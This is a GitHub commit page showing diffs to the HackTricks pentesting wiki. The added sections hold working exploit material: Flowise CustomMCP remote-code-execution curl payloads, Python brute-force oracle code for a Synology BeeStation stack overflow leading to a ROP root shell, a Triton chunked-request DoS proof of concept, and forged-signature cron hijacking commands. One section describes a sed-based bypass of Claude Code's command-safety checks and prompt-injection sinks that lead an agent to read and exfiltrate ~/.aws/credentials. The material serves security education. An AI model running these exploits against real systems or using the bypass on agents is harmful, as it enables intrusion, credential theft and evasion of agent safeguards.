Skip to content

Commit 2cf4d8e

Browse files
authored
Merge branch 'master' into update_An_Evening_with_Claude__Code___sed-Based_Command_S_20251126_012629
2 parents 6321dda + 4a4e150 commit 2cf4d8e

File tree

18 files changed

+582
-37
lines changed

18 files changed

+582
-37
lines changed

src/AI/AI-MCP-Servers.md

Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -184,8 +184,53 @@ echo 1 | sed 'r/Users/victim/.aws/credentials'
184184
- The same bypass reads sensitive files (`~/.aws/credentials`, SSH keys, etc.) and the agent dutifully summarizes or exfiltrates them via later tool calls (WebFetch, MCP resources, etc.).
185185
- An attacker only needs a prompt-injection sink: a poisoned README, web content fetched through `WebFetch`, or a malicious HTTP-based MCP server can instruct the model to invoke the “legitimate” sed command under the guise of log formatting or bulk editing.
186186

187+
188+
### Flowise MCP Workflow RCE (CVE-2025-59528 & CVE-2025-8943)
189+
190+
Flowise embeds MCP tooling inside its low-code LLM orchestrator, but its **CustomMCP** node trusts user-supplied JavaScript/command definitions that are later executed on the Flowise server. Two separate code paths trigger remote command execution:
191+
192+
- `mcpServerConfig` strings are parsed by `convertToValidJSONString()` using `Function('return ' + input)()` with no sandboxing, so any `process.mainModule.require('child_process')` payload executes immediately (CVE-2025-59528 / GHSA-3gcm-f6qx-ff7p). The vulnerable parser is reachable via the unauthenticated (in default installs) endpoint `/api/v1/node-load-method/customMCP`.
193+
- Even when JSON is supplied instead of a string, Flowise simply forwards the attacker-controlled `command`/`args` into the helper that launches local MCP binaries. Without RBAC or default credentials, the server happily runs arbitrary binaries (CVE-2025-8943 / GHSA-2vv2-3x8x-4gv7).
194+
195+
Metasploit now ships two HTTP exploit modules (`multi/http/flowise_custommcp_rce` and `multi/http/flowise_js_rce`) that automate both paths, optionally authenticating with Flowise API credentials before staging payloads for LLM infrastructure takeover.
196+
197+
Typical exploitation is a single HTTP request. The JavaScript injection vector can be demonstrated with the same cURL payload Rapid7 weaponised:
198+
199+
```bash
200+
curl -X POST http://flowise.local:3000/api/v1/node-load-method/customMCP \
201+
-H "Content-Type: application/json" \
202+
-H "Authorization: Bearer <API_TOKEN>" \
203+
-d '{
204+
"loadMethod": "listActions",
205+
"inputs": {
206+
"mcpServerConfig": "({trigger:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"sh -c \\\"id>/tmp/pwn\\\"\");return 1;})()})"
207+
}
208+
}'
209+
```
210+
211+
Because the payload is executed inside Node.js, functions such as `process.env`, `require('fs')`, or `globalThis.fetch` are instantly available, so it is trivial to dump stored LLM API keys or pivot deeper into the internal network.
212+
213+
The command-template variant exercised by JFrog (CVE-2025-8943) does not even need to abuse JavaScript. Any unauthenticated user can force Flowise to spawn an OS command:
214+
215+
```json
216+
{
217+
"inputs": {
218+
"mcpServerConfig": {
219+
"command": "touch",
220+
"args": ["/tmp/yofitofi"]
221+
}
222+
},
223+
"loadMethod": "listActions"
224+
}
225+
```
226+
187227
## References
188228
- [CVE-2025-54136 – MCPoison Cursor IDE persistent RCE](https://research.checkpoint.com/2025/cursor-vulnerability-mcpoison/)
229+
- [Metasploit Wrap-Up 11/28/2025 – new Flowise custom MCP & JS injection exploits](https://www.rapid7.com/blog/post/pt-metasploit-wrap-up-11-28-2025)
230+
- [GHSA-3gcm-f6qx-ff7p / CVE-2025-59528 – Flowise CustomMCP JavaScript code injection](https://github.com/advisories/GHSA-3gcm-f6qx-ff7p)
231+
- [GHSA-2vv2-3x8x-4gv7 / CVE-2025-8943 – Flowise custom MCP command execution](https://github.com/advisories/GHSA-2vv2-3x8x-4gv7)
232+
- [JFrog – Flowise OS command remote code execution (JFSA-2025-001380578)](https://research.jfrog.com/vulnerabilities/flowise-os-command-remote-code-execution-jfsa-2025-001380578)
233+
- [CVE-2025-54136 – MCPoison Cursor IDE persistent RCE](https://research.checkpoint.com/2025/cursor-vulnerability-mcpoison/)
189234
- [An Evening with Claude (Code): sed-Based Command Safety Bypass in Claude Code](https://specterops.io/blog/2025/11/21/an-evening-with-claude-code/)
190235

191236
{{#include ../banners/hacktricks-training.md}}

src/SUMMARY.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -349,6 +349,7 @@
349349
- [Accessibility Services Abuse](mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md)
350350
- [Android Anti Instrumentation And Ssl Pinning Bypass](mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md)
351351
- [Android Applications Basics](mobile-pentesting/android-app-pentesting/android-applications-basics.md)
352+
- [Android Enterprise Work Profile Bypass](mobile-pentesting/android-app-pentesting/android-enterprise-work-profile-bypass.md)
352353
- [Android Hce Nfc Emv Relay Attacks](mobile-pentesting/android-app-pentesting/android-hce-nfc-emv-relay-attacks.md)
353354
- [Android Task Hijacking](mobile-pentesting/android-app-pentesting/android-task-hijacking.md)
354355
- [ADB Commands](mobile-pentesting/android-app-pentesting/adb-commands.md)

src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md

Lines changed: 14 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -32,7 +32,7 @@ The memory tags are stored in a **dedicated RAM region** (not accessible for nor
3232

3333
ARM introduces the following instructions to manipulate these tags in the dedicated RAM memory:
3434

35-
```
35+
```asm
3636
STG [<Xn/SP>], #<simm> Store Allocation (memory) Tag
3737
LDG <Xt>, [<Xn/SP>] Load Allocatoin (memory) Tag
3838
IRG <Xd/SP>, <Xn/SP> Insert Random [pointer] Tag
@@ -43,16 +43,16 @@ IRG <Xd/SP>, <Xn/SP> Insert Random [pointer] Tag
4343

4444
### Sync
4545

46-
The CPU check the tags **during the instruction executing**, if there is a mismatch, it raises an exception.\
47-
This is the slowest and most secure.
46+
The CPU check the tags **during the instruction executing**, if there is a mismatch, it raises an exception (SIGSEGV with `SEGV_MTESERR`) and you immediately know the exact instruction and address.\
47+
This is the slowest and most secure because the offending load/store is blocked.
4848

4949
### Async
5050

51-
The CPU check the tags **asynchronously**, and when a mismatch is found it sets an exception bit in one of the system registers. It's **faster** than the previous one but it's **unable to point out** the exact instruction that cause the mismatch and it doesn't raise the exception immediately, giving some time to the attacker to complete his attack.
51+
The CPU check the tags **asynchronously**, and when a mismatch is found it sets an exception bit in one of the system registers. It's **faster** than the previous one but it's **unable to point out** the exact instruction that cause the mismatch and it doesn't raise the exception immediately (`SIGSEGV` with `SEGV_MTEAERR`), giving some time to the attacker to complete his attack.
5252

5353
### Mixed
5454

55-
???
55+
Per-core preferences (for example writing `sync`, `async` or `asymm` to `/sys/devices/system/cpu/cpu*/mte_tcf_preferred`) let kernels silently upgrade or downgrade per-process requests, so production builds usually request ASYNC while privileged cores force SYNC when workload allows it.
5656

5757
## Implementation & Detection Examples
5858

@@ -61,13 +61,13 @@ The kernel allocators (like `kmalloc`) will **call this module** which will prep
6161

6262
Note that it'll **only mark enough memory granules** (16B each) for the requested size. So if the requested size was 35 and a slab of 60B was given, it'll mark the first 16\*3 = 48B with this tag and the **rest** will be **marked** with a so-called **invalid tag (0xE)**.
6363

64-
The tag **0xF** is the **match all pointer**. A memory with this pointer allows **any tag to be used** to access its memory (no mismatches). This could prevent MET from detecting an attack if this tags is being used in the attacked memory.
64+
The tag **0xF** is the **match all pointer**. A memory with this pointer allows **any tag to be used** to access its memory (no mismatches). This could prevent MTE from detecting an attack if that tag is being used in the attacked memory.
6565

66-
Therefore there are only **14 value**s that can be used to generate tags as 0xE and 0xF are reserved, giving a probability of **reusing tags** to 1/17 -> around **7%**.
66+
Therefore there are only **14 values** that can be used to generate tags as 0xE and 0xF are reserved, giving a probability of **reusing tags** to 1/17 -> around **7%**.
6767

68-
If the kernel access to the **invalid tag granule**, the **mismatch** will be **detected**. If it access another memory location, if the **memory has a different tag** (or the invalid tag) the mismatch will be **detected.** If the attacker is lucky and the memory is using the same tag, it won't be detected. Chances are around 7%
68+
If the kernel accesses the **invalid tag granule**, the **mismatch** will be **detected**. If it accesses another memory location and the **memory has a different tag** (or the invalid tag) the mismatch will also be detected. If the attacker is lucky and the memory is using the same tag, it won't be detected. Chances are around 7%.
6969

70-
Another bug occurs in the **last granule** of the allocated memory. If the application requested 35B, it was given the granule from 32 to 48. Therefore, the **bytes from 36 til 47 are using the same tag** but they weren't requested. If the attacker access **these extra bytes, this isn't detected**.
70+
Another bug occurs in the **last granule** of the allocated memory. If the application requested 35B, it was given the granule from 32 to 48. Therefore, the **bytes from 36 to 47 are using the same tag** but they weren't requested. If the attacker accesses **these extra bytes, this isn't detected**.
7171

7272
When **`kfree()`** is executed, the memory is retagged with the invalid memory tag, so in a **use-after-free**, when the memory is accessed again, the **mismatch is detected**.
7373

@@ -77,11 +77,13 @@ Moreover, only **`slab` and `page_alloc`** uses tagged memory but in the future
7777

7878
When a **mismatch is detected** the kernel will **panic** to prevent further exploitation and retries of the exploit (MTE doesn't have false positives).
7979

80+
### Speculative Tag Leakage (TikTag)
81+
82+
*TikTag* (2024) demonstrated two speculative execution gadgets (TIKTAG-v1/v2) able to leak the 4-bit allocation tag of any address in <4 seconds with >95% success. By speculatively touching attacker-chosen cache lines and observing prefetch-induced timing, an attacker can derandomize the tag assigned to Chrome processes, Android system services, or the Linux kernel and then craft pointers carrying the leaked value. Once the tag space is brute-forced away, the probabilistic granule reuse assumptions (`≈7%` false-negative rate) collapse and classic heap exploits (UAF, OOB) regain near-100% reliability even when MTE is enabled. The paper also ships proof-of-concept exploits that pivot from leaked tags to retagging fake slabs, illustrating that speculative side channels remain a viable bypass path for hardware tagging schemes.
83+
8084
## References
8185

8286
- [https://www.youtube.com/watch?v=UwMt0e_dC_Q](https://www.youtube.com/watch?v=UwMt0e_dC_Q)
87+
- [TikTag: Breaking ARM's Memory Tagging Extension with Speculative Execution](https://arxiv.org/abs/2406.08719)
8388

8489
{{#include ../../banners/hacktricks-training.md}}
85-
86-
87-

src/binary-exploitation/stack-overflow/README.md

Lines changed: 36 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -140,10 +140,7 @@ url = "https://TARGET/__api__/v1/" + "A"*3000
140140
requests.get(url, verify=False)
141141
```
142142

143-
Even though stack canaries abort the process, an attacker still gains a **Denial-of-Service** primitive (and, with additional information leaks, possibly code-execution). The lesson is simple:
144-
145-
* Always provide a **maximum field width** (e.g. `%511s`).
146-
* Prefer safer alternatives such as `snprintf`/`strncpy_s`.
143+
Even though stack canaries abort the process, an attacker still gains a **Denial-of-Service** primitive (and, with additional information leaks, possibly code-execution).
147144

148145
### Real-World Example: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
149146

@@ -165,6 +162,9 @@ if (n > 0) {
165162
3. By abusing **HTTP _chunked transfer-encoding_**, a client can force the request to be split into **hundreds-of-thousands of 6-byte chunks** (`"1\r\nA\r\n"`). This makes `n` grow unbounded until the stack is exhausted.
166163

167164
#### Proof-of-Concept (DoS)
165+
<details>
166+
<summary>Chunked DoS PoC</summary>
167+
168168
```python
169169
#!/usr/bin/env python3
170170
import socket, sys
@@ -188,30 +188,48 @@ def exploit(host="localhost", port=8000, chunks=523_800):
188188
if __name__ == "__main__":
189189
exploit(*sys.argv[1:])
190190
```
191+
192+
</details>
191193
A ~3 MB request is enough to overwrite the saved return address and **crash** the daemon on a default build.
192194

193-
#### Patch & Mitigation
194-
The 25.07 release replaces the unsafe stack allocation with a **heap-backed `std::vector`** and gracefully handles `std::bad_alloc`:
195+
### Real-World Example: CVE-2025-12686 (Synology BeeStation Bee-AdminCenter)
195196

196-
```c++
197-
std::vector<evbuffer_iovec> v_vec;
198-
try {
199-
v_vec = std::vector<evbuffer_iovec>(n);
200-
} catch (const std::bad_alloc &e) {
201-
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
202-
}
203-
struct evbuffer_iovec *v = v_vec.data();
197+
Synacktiv’s Pwn2Own 2025 chain abused a pre-auth overflow in `SYNO.BEE.AdminCenter.Auth` on port 5000. `AuthManagerImpl::ParseAuthInfo` Base64-decodes attacker input into a 4096-byte stack buffer but wrongly sets `decoded_len = auth_info->len`. Because the CGI worker forks per request, every child inherits the parent’s stack canary, so one stable overflow primitive is enough to both corrupt the stack and leak all required secrets.
198+
199+
#### Base64-decoded JSON as a structured overflow
200+
The decoded blob must be valid JSON and include `"state"` and `"code"` keys; otherwise, the parser throws before the overflow is useful. Synacktiv solved this by Base64-encoding a payload that decodes to JSON, then a NUL byte, then the overflow stream. `strlen(decoded)` stops at the NUL so parsing succeeds, but `SLIBCBase64Decode` already overwrote the stack past the JSON object, covering the canary, saved RBP, and return address.
201+
202+
```python
203+
pld = b'{"code":"","state":""}\x00' # JSON accepted by Json::Reader
204+
pld += b"A"*4081 # reach the canary slot
205+
pld += marker_bytes # guessed canary / pointer data
206+
send_request(pld)
207+
```
208+
209+
#### Crash-oracle bruteforcing of canaries & pointers
210+
`synoscgi` forks once per HTTP request, so all children share the same canary, stack layout, and PIE slide. The exploit treats the HTTP status code as an oracle: a `200` response means the guessed byte preserved the stack, while `502` (or a dropped connection) means the process crashed. Brute-forcing each byte serially recovers the 8-byte canary, a saved stack pointer, and a return address inside `libsynobeeadmincenter.so`:
211+
212+
```python
213+
def bf_next_byte(prefix):
214+
for guess in range(0x100):
215+
try:
216+
if send_request(prefix + bytes([guess])).status_code == 200:
217+
return bytes([guess])
218+
except requests.exceptions.ReadTimeout:
219+
continue
220+
raise RuntimeError("oracle lost sync")
204221
```
205222

206-
Lessons learned:
207-
* Never call `alloca()` with attacker-controlled sizes.
208-
* Chunked requests can drastically change the shape of server-side buffers.
209-
* Validate / cap any value derived from client input *before* using it in memory allocations.
223+
`bf_next_ptr` simply calls `bf_next_byte` eight times while appending the confirmed prefix. Synacktiv parallelized these oracles with ~16 worker threads, reducing the total leak time (canary + stack ptr + lib base) to under three minutes.
224+
225+
#### From leaks to ROP & execution
226+
Once the library base is known, common gadgets (`pop rdi`, `pop rsi`, `mov [rdi], rsi; xor eax, eax; ret`) build an `arb_write` primitive that stages `/bin/bash`, `-c`, and the attacker command on the leaked stack address. Finally, the chain sets up the calling convention for `SLIBCExecl` (a BeeStation wrapper around `execl(2)`), yielding a root shell without needing a separate info-leak bug.
210227

211228
## References
212229
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
213230
* [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/)
214231
* [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
232+
* [Synacktiv – Breaking the BeeStation: Inside Our Pwn2Own 2025 Exploit Journey](https://www.synacktiv.com/en/publications/breaking-the-beestation-inside-our-pwn2own-2025-exploit-journey.html)
215233

216234
{{#include ../../banners/hacktricks-training.md}}
217235

src/generic-hacking/tunneling-and-port-forwarding.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -87,9 +87,9 @@ You need **root in both devices** (as you are going to create new interfaces) an
8787
```bash
8888
ssh root@server -w any:any #This will create Tun interfaces in both devices
8989
ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP
90-
ifconfig tun0 up #Activate the client side network interface
90+
ip link set tun0 up #Activate the client side network interface
9191
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
92-
ifconfig tun0 up #Activate the server side network interface
92+
ip link set tun0 up #Activate the server side network interface
9393
```
9494

9595
Enable forwarding on the Server side

src/linux-hardening/privilege-escalation/README.md

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -503,6 +503,28 @@ If the script executed by root uses a **directory where you have full access**,
503503
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
504504
```
505505

506+
### Custom-signed cron binaries with writable payloads
507+
Blue teams sometimes "sign" cron-driven binaries by dumping a custom ELF section and grepping for a vendor string before executing them as root. If that binary is group-writable (e.g., `/opt/AV/periodic-checks/monitor` owned by `root:devs 770`) and you can leak the signing material, you can forge the section and hijack the cron task:
508+
509+
1. Use `pspy` to capture the verification flow. In Era, root ran `objcopy --dump-section .text_sig=text_sig_section.bin monitor` followed by `grep -oP '(?<=UTF8STRING :)Era Inc.' text_sig_section.bin` and then executed the file.
510+
2. Recreate the expected certificate using the leaked key/config (from `signing.zip`):
511+
```bash
512+
openssl req -x509 -new -nodes -key key.pem -config x509.genkey -days 365 -out cert.pem
513+
```
514+
3. Build a malicious replacement (e.g., drop a SUID bash, add your SSH key) and embed the certificate into `.text_sig` so the grep passes:
515+
```bash
516+
gcc -fPIC -pie monitor.c -o monitor
517+
objcopy --add-section .text_sig=cert.pem monitor
518+
objcopy --dump-section .text_sig=text_sig_section.bin monitor
519+
strings text_sig_section.bin | grep 'Era Inc.'
520+
```
521+
4. Overwrite the scheduled binary while preserving execute bits:
522+
```bash
523+
cp monitor /opt/AV/periodic-checks/monitor
524+
chmod 770 /opt/AV/periodic-checks/monitor
525+
```
526+
5. Wait for the next cron run; once the naive signature check succeeds, your payload runs as root.
527+
506528
### Frequent cron jobs
507529

508530
You can monitor the processes to search for processes that are being executed every 1, 2 or 5 minutes. Maybe you can take advantage of it and escalate privileges.
@@ -1774,6 +1796,7 @@ vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
17741796
## References
17751797
17761798
- [0xdf – HTB Planning (Crontab UI privesc, zip -P creds reuse)](https://0xdf.gitlab.io/2025/09/13/htb-planning.html)
1799+
- [0xdf – HTB Era: forged .text_sig payload for cron-executed monitor](https://0xdf.gitlab.io/2025/11/29/htb-era.html)
17771800
- [alseambusher/crontab-ui](https://github.com/alseambusher/crontab-ui)
17781801
17791802

0 commit comments

Comments
 (0)